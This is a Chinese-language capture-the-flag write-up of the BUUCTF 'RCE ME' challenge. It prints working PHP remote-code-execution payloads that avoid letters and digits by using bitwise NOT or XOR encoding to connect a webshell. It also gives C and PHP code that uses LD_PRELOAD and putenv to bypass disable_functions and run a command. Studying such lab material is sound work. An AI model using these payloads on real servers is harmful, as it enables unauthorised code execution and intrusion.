链接: buuctf [极客大挑战 2019]RCE ME.
写在前面
啊通过这道题学到了很多新的知识,在此记录一下,自己也真是蛮拖延的,需要改变一下了,路漫漫其修远兮哇
无字母数字RCE
通过取反或异或来进行绕过,即将不含字母数字的字符串通过取反或异或的方式构造想要的payload。 这里想要构造的来连接蚁剑的payload如下所示:
code=assert(eval($_POST['ma']));
或者是
code=$_=_GET;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST['ma']);
用取反的方法经php的urlencode编码后得到payload如下:
code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%92%9E%DD%A2%D6%D6);
用异或的方法经php的urlencode编码后得到的payload如下
code=$_=%ff%ff%ff%ff^%a0%b8%ba%ab;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST['ma']);
成功连接蚁剑
劫持共享so
在蚁剑中发现了flag和阅读flag的可执行程序,猜测要运行该可执行程序来获取flag。 通过code=$_=%ff%ff%ff%ff^%a0%b8%ba%ab;${$_}[_](${$_}[__]);&_=assert&__=phpinfo() 查看发现禁用了大部分能执行命令的函数orz 接下来就进入我的未知领域了,链接: 参考文章: 深入浅出LD_PRELOAD & putenv(). 可以使用蚁剑的插件(绕过disable_functions),也可以用github的文件,这里主要记录下我从原理中学到的方法。
LD_PRELOAD
LD_PRELOAD指定的环境变量路径的共享库文件会在其他共享库前先一步调用,通过putenv即可设置该环境变量。 于是我们可以想到,编写一个会调用共享库文件函数的php程序,然后再编写一个含有同名函数的c语言程序(包含想执行的命令),并生成.so共享库文件然后通过putenv设置成LD_PRELOAD。于是在php程序运行的时候根据链接规则会调用我们编写的同名函数,这样就达到了劫持共享so的目的。
__ attribute __ ((constructor))
编写同名函数的方法自然是可行的(如geteuid),更通用的方法则是采用__attribute__((constructor)),它会在程序刚开始运行,共享库开始加载时即触发。
执行过程
首先是编写执行的c语言程序
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
__attribute__((__constructor__)) void angel(){
unsetenv("LD_PRELOAD");
system("/readflag > /var/tmp/1.txt");
}
然后生成共享库文件1.so
gcc 1.c -fPIC -shared -o 1.so
编写对应php程序
<?php
putenv("LD_PRELOAD=/var/tmp/1.so");
mail("","","","");
var_dump(file_get_contents('/var/tmp/1.txt'));
?>
将php文件和so文件上传 通过include包含上传文件来加载共享库执行命令。 即想要上传的命令为
code=$_=_GET;${$_}[_](${$_}[__]);&_=assert&__=include('/var/tmp/1.php');
payload为
code=$_=%ff%ff%ff%ff^%a0%b8%ba%ab;${$_}[_](${$_}[__]);&_=assert&__=include('/var/tmp/1.php');
最后得到flag
|